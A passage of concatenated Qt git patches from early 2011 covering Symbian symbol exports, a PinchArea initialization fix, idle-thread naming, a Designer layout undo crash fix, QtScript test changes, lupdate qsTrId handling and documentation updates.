    +	_ZN23QDeclarativeDebugServer11qt_metacastEPKc @ 1899 NONAME
    +	_ZN23QDeclarativeDebugServer11sendMessageEP24QDeclarativeDebugServiceRK10QByteArray @ 1900 NONAME
    +	_ZN23QDeclarativeDebugServer13removeServiceEP24QDeclarativeDebugService @ 1901 NONAME
    +	_ZN23QDeclarativeDebugServer14receiveMessageERK10QByteArray @ 1902 NONAME
    +	_ZN23QDeclarativeDebugServer16staticMetaObjectE @ 1903 NONAME DATA 16
    +	_ZN23QDeclarativeDebugServer19getStaticMetaObjectEv @ 1904 NONAME
    +	_ZN23QDeclarativeDebugServer8instanceEv @ 1905 NONAME
    +	_ZN23QDeclarativeDebugServerC1Ev @ 1906 NONAME
    +	_ZN23QDeclarativeDebugServerC2Ev @ 1907 NONAME
    +	_ZN23QDeclarativeItemPrivate20implicitWidthChangedEv @ 1908 NONAME
    +	_ZN23QDeclarativeItemPrivate21implicitHeightChangedEv @ 1909 NONAME
    +	_ZN24QDeclarativeCustomParser14rewriteBindingERK7QStringRK10QByteArray @ 1910 NONAME
    +	_ZNK17QDeclarativeState17valueInRevertListEP7QObjectRK7QString @ 1911 NONAME
    +	_ZNK17QDeclarativeState19bindingInRevertListEP7QObjectRK7QString @ 1912 NONAME
    +	_ZNK17QDeclarativeState28containsPropertyInRevertListEP7QObjectRK7QString @ 1913 NONAME
    +	_ZNK23QDeclarativeDebugServer10metaObjectEv @ 1914 NONAME
    +	_ZNK23QDeclarativeDebugServer12serviceNamesEv @ 1915 NONAME
    +	_ZNK23QDeclarativeDebugServer18hasDebuggingClientEv @ 1916 NONAME
    +	_ZNK23QDeclarativeDebugServer8servicesEv @ 1917 NONAME
    +	_ZNK23QDeclarativeItemPrivate13implicitWidthEv @ 1918 NONAME
    +	_ZNK23QDeclarativeItemPrivate14implicitHeightEv @ 1919 NONAME
    +	_ZNK7QPacket4dataEv @ 1920 NONAME
    +	_ZTI23QDeclarativeDebugServer @ 1921 NONAME
    +	_ZTV23QDeclarativeDebugServer @ 1922 NONAME
     
    diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def
    index 48976a1..d552931 100644
    --- a/src/s60installs/eabi/QtGuiu.def
    +++ b/src/s60installs/eabi/QtGuiu.def
    @@ -12108,4 +12108,39 @@ EXPORTS
     	_ZN20QGraphicsItemPrivate11setSubFocusEP13QGraphicsItemS1_ @ 12107 NONAME
     	_ZN20QGraphicsItemPrivate13clearSubFocusEP13QGraphicsItemS1_ @ 12108 NONAME
     	_ZN12QLineControl21resetCursorBlinkTimerEv @ 12109 NONAME
    +	_ZN12QTextControl14setDragEnabledEb @ 12110 NONAME
    +	_ZN19QTextDocumentLayout10timerEventEP11QTimerEvent @ 12111 NONAME
    +	_ZN19QTextDocumentLayout11qt_metacallEN11QMetaObject4CallEiPPv @ 12112 NONAME
    +	_ZN19QTextDocumentLayout11qt_metacastEPKc @ 12113 NONAME
    +	_ZN19QTextDocumentLayout11setViewportERK6QRectF @ 12114 NONAME
    +	_ZN19QTextDocumentLayout13setLineHeightEfNS_14LineHeightModeE @ 12115 NONAME
    +	_ZN19QTextDocumentLayout14ensureLayoutedEf @ 12116 NONAME
    +	_ZN19QTextDocumentLayout14layoutFinishedEv @ 12117 NONAME
    +	_ZN19QTextDocumentLayout14setCursorWidthEi @ 12118 NONAME
    +	_ZN19QTextDocumentLayout15documentChangedEiii @ 12119 NONAME
    +	_ZN19QTextDocumentLayout16drawInlineObjectEP8QPainterRK6QRectF17QTextInlineObjectiRK11QTextFormat @ 12120 NONAME
    +	_ZN19QTextDocumentLayout16staticMetaObjectE @ 12121 NONAME DATA 16
    +	_ZN19QTextDocumentLayout18resizeInlineObjectE17QTextInlineObjectiRK11QTextFormat @ 12122 NONAME
    +	_ZN19QTextDocumentLayout19getStaticMetaObjectEv @ 12123 NONAME
    +	_ZN19QTextDocumentLayout19setFixedColumnWidthEi @ 12124 NONAME
    +	_ZN19QTextDocumentLayout20positionInlineObjectE17QTextInlineObjectiRK11QTextFormat @ 12125 NONAME
    +	_ZN19QTextDocumentLayout4drawEP8QPainterRKN27QAbstractTextDocumentLayout12PaintContextE @ 12126 NONAME
    +	_ZN19QTextDocumentLayout8doLayoutEiii @ 12127 NONAME
    +	_ZN19QTextDocumentLayoutC1EP13QTextDocument @ 12128 NONAME
    +	_ZN19QTextDocumentLayoutC2EP13QTextDocument @ 12129 NONAME
    +	_ZNK12QTextControl13isDragEnabledEv @ 12130 NONAME
    +	_ZNK19QTextDocumentLayout10idealWidthEv @ 12131 NONAME
    +	_ZNK19QTextDocumentLayout10metaObjectEv @ 12132 NONAME
    +	_ZNK19QTextDocumentLayout11cursorWidthEv @ 12133 NONAME
    +	_ZNK19QTextDocumentLayout12documentSizeEv @ 12134 NONAME
    +	_ZNK19QTextDocumentLayout12layoutStatusEv @ 12135 NONAME
    +	_ZNK19QTextDocumentLayout16dynamicPageCountEv @ 12136 NONAME
    +	_ZNK19QTextDocumentLayout17blockBoundingRectERK10QTextBlock @ 12137 NONAME
    +	_ZNK19QTextDocumentLayout17frameBoundingRectEP10QTextFrame @ 12138 NONAME
    +	_ZNK19QTextDocumentLayout19contentHasAlignmentEv @ 12139 NONAME
    +	_ZNK19QTextDocumentLayout19dynamicDocumentSizeEv @ 12140 NONAME
    +	_ZNK19QTextDocumentLayout7hitTestERK7QPointFN2Qt15HitTestAccuracyE @ 12141 NONAME
    +	_ZNK19QTextDocumentLayout9pageCountEv @ 12142 NONAME
    +	_ZTI19QTextDocumentLayout @ 12143 NONAME
    +	_ZTV19QTextDocumentLayout @ 12144 NONAME
     
    diff --git a/src/s60installs/eabi/QtScriptu.def b/src/s60installs/eabi/QtScriptu.def
    index b26f9c7..f7da892 100644
    --- a/src/s60installs/eabi/QtScriptu.def
    +++ b/src/s60installs/eabi/QtScriptu.def
    @@ -441,4 +441,6 @@ EXPORTS
     	_ZN25QScriptEngineAgentPrivate18didReachBreakpointERKN5QTJSC17DebuggerCallFrameEii @ 440 NONAME
     	_ZNK23QScriptDeclarativeClass12supportsCallEv @ 441 NONAME
     	_ZNK23QScriptDeclarativeClass5Value13toScriptValueEP13QScriptEngine @ 442 NONAME
    +	_ZN23QScriptDeclarativeClass15startsWithUpperERKPv @ 443 NONAME
    +	_ZNK23QScriptDeclarativeClass20PersistentIdentifier8toStringEv @ 444 NONAME
     
    diff --git a/tools/qml/qdeclarativetester.cpp b/tools/qml/qdeclarativetester.cpp
    index 3f4be57..11f81fc 100644
    --- a/tools/qml/qdeclarativetester.cpp
    +++ b/tools/qml/qdeclarativetester.cpp
    @@ -48,7 +48,10 @@
     #include 
     #include 
     #include 
    +#include 
    +#ifndef Q_OS_SYMBIAN
     #include 
    +#endif
     
     QT_BEGIN_NAMESPACE
     
    @@ -266,7 +269,9 @@ void QDeclarativeTester::save()
     
     void QDeclarativeTester::updateCurrentTime(int msec)
     {
    +#ifndef Q_OS_SYMBIAN
         QDeclarativeItemPrivate::setConsistentTime(msec);
    +#endif
         if (!testscript && msec > 16 && options & QDeclarativeViewer::Snapshot)
             return;
     
    -- 
    cgit v0.12
    
    
    From 88b072b3644cfd960367096ae0103e8ddef0d06d Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Tue, 1 Feb 2011 13:09:44 +1000
    Subject: PinchArea sometimes failed.
    
    Almost always failed on Mac and could fail on other systems due to
    QDeclarativePinchEvent::m_accepted not being initialized.
    
    Task-number: QTBUG-15491
    Reviewed-by: Bea Lam
    ---
     .../graphicsitems/qdeclarativepincharea.cpp        |  5 ++++-
     .../graphicsitems/qdeclarativepincharea_p.h        |  2 +-
     .../graphicsitems/qdeclarativepincharea_p_p.h      |  2 +-
     .../tst_qdeclarativepincharea.cpp                  | 24 ----------------------
     4 files changed, 6 insertions(+), 27 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    index 436099e..eae83f6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp
    @@ -312,6 +312,7 @@ void QDeclarativePinchArea::updatePinch()
                 pe.setPoint1(d->lastPoint1);
                 pe.setPoint2(d->lastPoint2);
                 emit pinchFinished(&pe);
    +            d->pinchStartDist = 0;
                 if (d->pinch && d->pinch->target())
                     d->pinch->setActive(false);
             }
    @@ -363,7 +364,9 @@ void QDeclarativePinchArea::updatePinch()
                         if (pe.accepted()) {
                             d->inPinch = true;
                             d->stealMouse = true;
    -                        grabMouse();
    +                        QGraphicsScene *s = scene();
    +                        if (s && s->mouseGrabberItem() != this)
    +                            grabMouse();
                             setKeepMouseGrab(true);
                             if (d->pinch && d->pinch->target()) {
                                 d->pinchStartPos = pinch()->target()->pos();
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    index cd5423d..6d04708 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h
    @@ -207,7 +207,7 @@ class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject
     
     public:
         QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r)
    -        : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r) {}
    +        : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r), m_accepted(true) {}
     
         QPointF center() const { return m_center; }
         QPointF startCenter() const { return m_startCenter; }
    diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    index b1cdf68..5641e35 100644
    --- a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h
    @@ -68,7 +68,7 @@ class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate
     public:
         QDeclarativePinchAreaPrivate()
           : absorb(true), stealMouse(false), inPinch(false)
    -      , pinchRejected(false), pinch(0)
    +      , pinchRejected(false), pinch(0), pinchStartDist(0)
         {
         }
     
    diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    index b7e7a99..f175033 100644
    --- a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    +++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
    @@ -228,14 +228,8 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
         QCOMPARE(root->property("scale").toReal(), 1.5);
         QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
         QCOMPARE(blackRect->scale(), 1.5);
     
         // scale beyond bound
    @@ -243,9 +237,6 @@ void tst_QDeclarativePinchArea::scale()
         p2 += QPoint(50,50);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo on mac", Continue);
    -#endif
         QCOMPARE(blackRect->scale(), 2.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    @@ -292,18 +283,9 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(10,10);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->x(), 60.0);
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->y(), 60.0);
     
         // pan x beyond bound
    @@ -311,13 +293,7 @@ void tst_QDeclarativePinchArea::pan()
         p2 += QPoint(100,100);
         QTest::touchEvent(vp).move(0, p1).move(1, p2);
     
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->x(), 140.0);
    -#ifdef Q_OS_MAC
    -    QEXPECT_FAIL("", "todo mac", Continue);
    -#endif
         QCOMPARE(blackRect->y(), 160.0);
     
         QTest::touchEvent(vp).release(0, p1).release(1, p2);
    -- 
    cgit v0.12
    
    
    From 9b0488b3f0bd132ea8200e83850754c779b34436 Mon Sep 17 00:00:00 2001
    From: mread 
    Date: Tue, 1 Feb 2011 08:52:05 +0000
    Subject: Idle detector thread improvements
    
    The idle detector thread was creating its own heap, which was rather
    unnnecesary as it doesn't actually allocate any objects. Now it shares
    the main thread's heap.
    
    It was also unnamed, which makes life harder when there is a crash.
    The debugger is given information about all threads in a crash. When a
    thread is unnamed, you can't easily tell if its relevant to the crash
    or not. Now it is called "IdleDetectorThread".
    
    Task-number: QTBUG-17073
    Reviewed-by: axis
    ---
     src/corelib/kernel/qeventdispatcher_symbian.cpp | 3 ++-
     1 file changed, 2 insertions(+), 1 deletion(-)
    
    diff --git a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp
    index 8872045..d6ab618a 100644
    --- a/src/corelib/kernel/qeventdispatcher_symbian.cpp
    +++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp
    @@ -657,7 +657,7 @@ public:
         : m_state(STATE_RUN), m_stop(false)
         {
             qt_symbian_throwIfError(m_lock.CreateLocal(0));
    -        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, NULL, this);
    +        TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, &User::Allocator(), this);
             if (err != KErrNone)
                 m_lock.Close();
             qt_symbian_throwIfError(err);
    @@ -692,6 +692,7 @@ public:
     private:
         static TInt idleDetectorThreadFunc(TAny* self)
         {
    +        User::RenameThread(_L("IdleDetectorThread"));
             static_cast(self)->IdleLoop();
             return KErrNone;
         }
    -- 
    cgit v0.12
    
    
    From 0e456bf74dfea10c0f5c164eb5a920e4661a91b2 Mon Sep 17 00:00:00 2001
    From: Jarek Kobus 
    Date: Tue, 1 Feb 2011 13:15:28 +0100
    Subject: Fix a crash when undoing form layout
    
    In a rare case when breaking a layout might
    make widgets overlap, the internal heuristic
    failed when recreating an original layout during undo.
    Some widgets were removed from the grid.
    The patch fixes this heuristic (makes sure
    we don't remove other widgets). Creating
    a form layout from overlapping widgets works
    better now.
    
    Reviewed-by: Friedemann Kleint 
    Task-number: QTCREATORBUG-3616
    ---
     tools/designer/src/lib/shared/layout.cpp         | 22 ++++++++++++++--------
     tools/designer/src/lib/shared/qlayout_widget.cpp |  3 +--
     2 files changed, 15 insertions(+), 10 deletions(-)
    
    diff --git a/tools/designer/src/lib/shared/layout.cpp b/tools/designer/src/lib/shared/layout.cpp
    index c9ffe71..9fe438b 100644
    --- a/tools/designer/src/lib/shared/layout.cpp
    +++ b/tools/designer/src/lib/shared/layout.cpp
    @@ -996,13 +996,23 @@ bool Grid::shrinkFormLayoutSpans()
         for (WidgetSet::const_iterator it = widgets.constBegin(); it != cend ; ++it) {
             QWidget *w = *it;
             int row, col,  rowspan, colspan;
    -        locateWidget(w, row, col, rowspan, colspan);
    +        if (!locateWidget(w, row, col, rowspan, colspan))
    +            qDebug("ooops, widget '%s' does not fit in layout", w->objectName().toUtf8().constData());
             const int maxColSpan = col == 0 ? 2 : 1;
             const int newColSpan = qMin(colspan, maxColSpan);
             const int newRowSpan = qMin(rowspan, maxRowSpan);
             if (newColSpan != colspan || newRowSpan != rowspan) {
    -            setCells(QRect(col, row, colspan, rowspan), 0);
    -            setCells(QRect(col, row, newColSpan, newRowSpan), w);
    +            // in case like this:
    +            // W1 W1
    +            // W1 W2
    +            // do:
    +            // W1 0
    +            // 0  W2
    +            for (int i = row; i < row + rowspan - 1; i++)
    +                for (int j = col; j < col + colspan - 1; j++)
    +                    if (i > row + newColSpan - 1 || j > col + newRowSpan - 1)
    +                        if (cell(i, j) == w)
    +                            setCell(i, j, 0);
                 shrunk = true;
             }
         }
    @@ -1177,11 +1187,7 @@ void GridLayout::doLayout()
                 if (const Spacer *spacer = qobject_cast(w))
                     alignment = spacer->alignment();
     
    -            if (rs * cs == 1) {
    -                addWidgetToGrid(layout, w, r, c, 1, 1, alignment);
    -            } else {
    -                addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
    -            }
    +            addWidgetToGrid(layout, w, r, c, rs, cs, alignment);
     
                 w->show();
             } else {
    diff --git a/tools/designer/src/lib/shared/qlayout_widget.cpp b/tools/designer/src/lib/shared/qlayout_widget.cpp
    index 20db606..4debb5e 100644
    --- a/tools/designer/src/lib/shared/qlayout_widget.cpp
    +++ b/tools/designer/src/lib/shared/qlayout_widget.cpp
    @@ -1181,8 +1181,7 @@ QRect LayoutHelper::itemInfo(QLayout *lt, const QWidget *widget) const
                 } else {
                     for (int c = 0; c < FormLayoutColumns; c++) {
                         const QFormLayout::ItemRole role = c == 0 ? QFormLayout::LabelRole : QFormLayout::FieldRole;
    -                    if (widgets[c]) {
    -                        Q_ASSERT(BoxLayoutHelper::findItemOfWidget(items, widgets[c]));
    +                    if (widgets[c] && BoxLayoutHelper::findItemOfWidget(items, widgets[c])) {
                             formLayout->setWidget(r, role, widgets[c]);
                         } else {
                             formLayout->setItem(r, role, createFormSpacer());
    -- 
    cgit v0.12
    
    
    From 3cd70e43edb3458bae05a3e9c90b007ae2cb82b5 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 1 Feb 2011 13:43:00 +0100
    Subject: Doc: Updated the copyright statements in the templates.
    
    ---
     tools/qdoc3/test/qt-html-templates-online.qdocconf | 2 +-
     tools/qdoc3/test/qt-html-templates.qdocconf        | 2 +-
     2 files changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf
    index bc7dbd2..dc84e7d 100644
    --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf
    +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf
    @@ -155,7 +155,7 @@ HTML.footer = \
         "  
    \n" \ "
    \n" \ "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ + " © 2008-2011 Nokia Corporation and/or its\n" \ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ " in Finland and/or other countries worldwide.

    \n" \ "

    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index e2d2b4a..6f756da 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -23,7 +23,7 @@ HTML.footer = \ "

    \n" \ "
    \n" \ "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ + " © 2008-2011 Nokia Corporation and/or its\n" \ " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ " in Finland and/or other countries worldwide.

    \n" \ "

    \n" \ -- cgit v0.12 From 363d983f2f65e9b7bdc440d1c4f7b98fafc284bb Mon Sep 17 00:00:00 2001 From: Jedrzej Nowacki Date: Mon, 31 Jan 2011 11:16:17 +0200 Subject: Add new test to tst_QScriptContextInfo. Test checks comparison between two null contexts. Reviewed-by: Kent Hansen --- tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp index aba16b2..89c5330 100644 --- a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp +++ b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp @@ -93,6 +93,7 @@ private slots: void qtPropertyFunction(); void nullContext(); void streaming(); + void comparison_null(); void assignmentAndComparison(); }; @@ -366,6 +367,13 @@ void tst_QScriptContextInfo::streaming() } } +void tst_QScriptContextInfo::comparison_null() +{ + QScriptContextInfo info1, info2, info3(0); + QCOMPARE(info1, info2); + QCOMPARE(info1, info3); +} + void tst_QScriptContextInfo::assignmentAndComparison() { QScriptEngine eng; -- cgit v0.12 From 70727b3cd373c66aa8a4883ca05a9eaf1f0a0d6d Mon Sep 17 00:00:00 2001 From: Jedrzej Nowacki Date: Tue, 1 Feb 2011 15:50:26 +0200 Subject: Refactoring of tst_QScriptEngine::automaticSemicolonInsertion test. Test shouldn't relay on error message, but on error type. Reviewed-by: Kent Hansen --- tests/auto/qscriptengine/tst_qscriptengine.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp index c4c53e9..956f06c 100644 --- a/tests/auto/qscriptengine/tst_qscriptengine.cpp +++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp @@ -3018,7 +3018,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("{ 1 2 } 3"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("{ 1\n2 } 3"); @@ -3028,7 +3028,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("for (a; b\n)"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("(function() { return\n1 + 2 })()"); @@ -3043,7 +3043,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("if (a > b)\nelse c = d"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { eng.evaluate("function c() { return { foo: function() { return 5; } } }"); @@ -3055,7 +3055,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion() { QScriptValue ret = eng.evaluate("throw\n1"); QVERIFY(ret.isError()); - QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error")); + QVERIFY(ret.toString().contains("SyntaxError")); } { QScriptValue ret = eng.evaluate("a = Number(1)\n++a"); -- cgit v0.12 From bb84c5ef4f620af659395b66e6ed792a380b9a1f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tor=20Arne=20Vestb=C3=B8?= Date: Tue, 1 Feb 2011 15:17:53 +0100 Subject: Don't ignore source-text when generating qsTrId translations for QML Reviewed-by: ossi --- tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml | 3 +++ tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result | 5 +++++ tools/linguist/lupdate/qdeclarative.cpp | 2 +- 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml index 768a4e2..c966fa1 100644 --- a/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml +++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/main.qml @@ -93,5 +93,8 @@ QtObject { //: qsTrId() with comment, meta-data and plurals. //~ well-tested True qsTrId("qtn_bar_baz", 10); + + //% "Source text" + qsTrId("qtn_baz_biz"); } } diff --git a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result index 7dac8cb..4843902 100644 --- a/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result +++ b/tests/auto/linguist/lupdate/testdata/good/parseqml/project.ts.result @@ -27,6 +27,11 @@ True + + + Source text + + BarContext diff --git a/tools/linguist/lupdate/qdeclarative.cpp b/tools/linguist/lupdate/qdeclarative.cpp index b85b1a7..1c1e9ad 100644 --- a/tools/linguist/lupdate/qdeclarative.cpp +++ b/tools/linguist/lupdate/qdeclarative.cpp @@ -225,7 +225,7 @@ protected: const QString id = literal->value->asString(); bool plural = node->arguments->next; - TranslatorMessage msg(QString(), QString(), + TranslatorMessage msg(QString(), sourcetext, QString(), QString(), m_fileName, node->firstSourceLocation().startLine, QStringList(), TranslatorMessage::Unfinished, plural); -- cgit v0.12 From 9880d5dfef94c47d3d3ed18566bff58a800d4d25 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:52:29 +0100 Subject: Doc: Fixed broken links to the old Symbian Foundation Wiki. Task-number: QTBUG-17058 --- doc/src/deployment/deployment.qdoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc index 4817058..bc80ed3 100644 --- a/doc/src/deployment/deployment.qdoc +++ b/doc/src/deployment/deployment.qdoc @@ -1550,8 +1550,8 @@ \note If you want to have your application properly Symbian Signed for distribution, you will have to properly sign both the application and the application installer packages. Please see - \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed} - {Symbian Signed wiki} for more information about Symbian Signed. + \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed} + {Forum Nokia Wiki} for more information about Symbian Signed. For more information about creating a \c .sis file and installing it to device see also \l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}. -- cgit v0.12 From 35a849e4e36ac6494233dc8307c4eac0c7fdf889 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:55:44 +0100 Subject: Doc: Removed unnecessary HTML entity from the title. --- doc/src/howtos/HWacceleration.qdoc | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc index b5a4733..0dc5d5e 100644 --- a/doc/src/howtos/HWacceleration.qdoc +++ b/doc/src/howtos/HWacceleration.qdoc @@ -27,7 +27,7 @@ /*! \page HWAcc_rendering.html - \title Hardware Acceleration & Embedded Platforms. + \title Hardware Acceleration and Embedded Platforms. \brief How to use hardware acceleration for fast rendering. \ingroup best-practices @@ -45,11 +45,11 @@ \input platforms/emb-hardwareacceleration.qdocinc \section1 Supported platforms - Since there might be differences to how the APIs are being used on - the different embedded platforms, this table provides you with links to - pages dedicated to platform specific documentation for each - supported hardware acceleration API. Click the API link for the - platform to go the correct documentation. + Since there might be differences to how the APIs are being used on + the different embedded platforms, this table provides you with links to + pages dedicated to platform specific documentation for each + supported hardware acceleration API. Click the API link for the + platform to go the correct documentation. \table \header -- cgit v0.12 From eebe205b306daaa3674d9746de11a73bef4bd0de Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 1 Feb 2011 17:56:30 +0100 Subject: Doc: Fixed QML, unindented snippet. --- .../webkit/WebKit/qt/declarative/qdeclarativewebview.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp index 7a8aae7..4238d33 100644 --- a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp +++ b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp @@ -742,11 +742,11 @@ QWebPage* QDeclarativeWebView::page() const See QWebSettings for details of these properties. \qml - WebView { - settings.pluginsEnabled: true - settings.standardFontFamily: "Arial" - ... - } + WebView { + settings.pluginsEnabled: true + settings.standardFontFamily: "Arial" + // ... + } \endqml */ QDeclarativeWebSettings* QDeclarativeWebView::settingsObject() const -- cgit v0.12 From e09cd7062bb50067eb2d2db9197eb9d4ee170360 Mon Sep 17 00:00:00 2001 From: juhvu Date: Wed, 2 Feb 2011 10:16:16 +1000 Subject: Froze two more symbols and fixed compilation error (QtQuick11). Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativestate_p.h | 4 ++-- src/s60installs/bwins/QtGuiu.def | 2 ++ src/s60installs/eabi/QtGuiu.def | 2 ++ 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h index 45e6e8d..60d0e0b 100644 --- a/src/declarative/util/qdeclarativestate_p.h +++ b/src/declarative/util/qdeclarativestate_p.h @@ -45,7 +45,7 @@ #include #include #include -#include +#include #include QT_BEGIN_HEADER @@ -76,7 +76,7 @@ public: QVariant toValue; QDeclarativeAbstractBinding *fromBinding; - QDeclarativeAbstractBinding::Pointer toBinding; + QWeakPointer toBinding; QDeclarativeActionEvent *event; //strictly for matching diff --git a/src/s60installs/bwins/QtGuiu.def b/src/s60installs/bwins/QtGuiu.def index 6a2bcb9..adf2b3c 100644 --- a/src/s60installs/bwins/QtGuiu.def +++ b/src/s60installs/bwins/QtGuiu.def @@ -12948,4 +12948,6 @@ EXPORTS ?ensureLayouted@QTextDocumentLayout@@QAEXM@Z @ 12947 NONAME ; void QTextDocumentLayout::ensureLayouted(float) ?layoutFinished@QTextDocumentLayout@@AAEXXZ @ 12948 NONAME ; void QTextDocumentLayout::layoutFinished(void) ?dynamicPageCount@QTextDocumentLayout@@QBEHXZ @ 12949 NONAME ; int 